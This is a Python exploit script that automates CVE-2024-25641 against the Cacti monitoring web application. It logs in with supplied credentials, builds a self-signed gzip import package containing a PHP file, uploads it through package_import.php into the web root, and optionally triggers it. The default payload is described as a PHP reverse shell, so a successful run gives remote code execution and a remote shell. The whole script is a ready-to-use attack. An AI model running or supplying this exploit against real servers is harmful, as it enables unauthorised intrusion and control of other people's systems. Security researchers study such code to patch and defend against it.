#!/bin/python3
import os, requests, base64, gzip
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
import argparse
import random, string
print('''\nCreated by: 5ma1l
\tAutomate the process of exploiting the CVE-2024-25641\n\n''')
# Args
parser = argparse.ArgumentParser(
epilog='''Examples:
./exploit.py http://localhost/cacti admin password
./exploit.py -p './php/rev.php' http://localhost/cacti admin password''',
formatter_class=argparse.RawTextHelpFormatter
)
parser.add_argument('URL',type=str,help='The target Cacti URL')
parser.add_argument('username',type=str,help='Login username')
parser.add_argument('password',type=str,help='Login password')
parser.add_argument('-p','--payload',type=str,help='Path to the PHP payload file (default: `./php/monkey.php` is a reverse shell created by pentestmonkey, Don\'t forget to change the ip & port)',default='./php/monkey.php')
args = parser.parse_args()
URL = args.URL
username = args.username
password = args.password
filename = args.payload
# Login
print('[*] Login attempts...')
login_path = '/index.php'
s = requests.Session()
r = s.get(URL)
soup = BeautifulSoup(r.text, 'html.parser')
html_parser = soup.find('input',{'name':'__csrf_magic'})
csrf = html_parser.get('value')
data = {
'__csrf_magic': csrf,
'action': 'login',
'login_username': username,
'login_password': password,
'remember_me': 'on'
}
r = s.post(URL + login_path,data=data)
if 'Logged in' not in r.text:
print('[Failed]')
exit(1)
print('[SUCCESS]')
# Prepare the malicious gzip
dest_filename = ''.join(random.choices(string.ascii_lowercase, k=16)) + '.php'
print("[*] Creating the gzip...")
xmldata = """
resource/{}
{}
{}
{}
"""
with open(filename) as data:
filedata = data.read()
keypair = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
public_key = keypair.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
filesignature = keypair.sign(
filedata.encode('utf-8'),
padding.PKCS1v15(),
hashes.SHA256()
)
data = xmldata.format(
dest_filename,
base64.b64encode(filedata.encode('utf-8')).decode('utf-8'),
base64.b64encode(filesignature).decode('utf-8'),
base64.b64encode(public_key).decode('utf-8')
)
signature = keypair.sign(
data.encode('utf-8'),
padding.PKCS1v15(),
hashes.SHA256()
)
final_data = data.replace("", f"{base64.b64encode(signature).decode('utf-8')}")
final_data = final_data.encode('utf-8')
gz_filename = f'{dest_filename}.gz'
with open(gz_filename,'wb') as poc:
poc.write(gzip.compress(final_data))
print('[SUCCESS]')
print('GZIP path is',os.getcwd() + '/' + gz_filename)
# Exploit
print('[*] Sending payload...')
## First Post => upload
import_post1 = '/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on'
files = {'import_file': open(gz_filename,'rb')}
data = {
'__csrf_magic': csrf,
'trust_signer': 'on',
'save_component_import': 1,
'action': 'save'
}
r = s.post(URL + import_post1, data=data, files=files)
## Second Post => confirm the upload
import_post2 = '/package_import.php?header=false'
soup = BeautifulSoup(r.text,'html.parser')
html_parser = soup.find('input',{'title':f'/var/www/html/cacti/resource/{dest_filename}'})
file_id = html_parser.get('id')
data = {
'__csrf_magic': csrf,
'trust_signer':'on',
'data_source_profile':1,
'remove_orphans':'on',
'replace_svalues':'on',
file_id: 'on',
'save_component_import':1,
'preview_only': '',
'action':'save',
}
r = s.post(URL + import_post2, data=data)
print('[SUCCESS]')
file_path = f'/resource/{dest_filename}'
print('You will find the payload in',URL + file_path)
## Payload Running...
option = input('Do you wanna start the payload ?[Y/n]')
if option.lower() == 'y':
print('Payload is running...')
r = s.get(URL + file_path)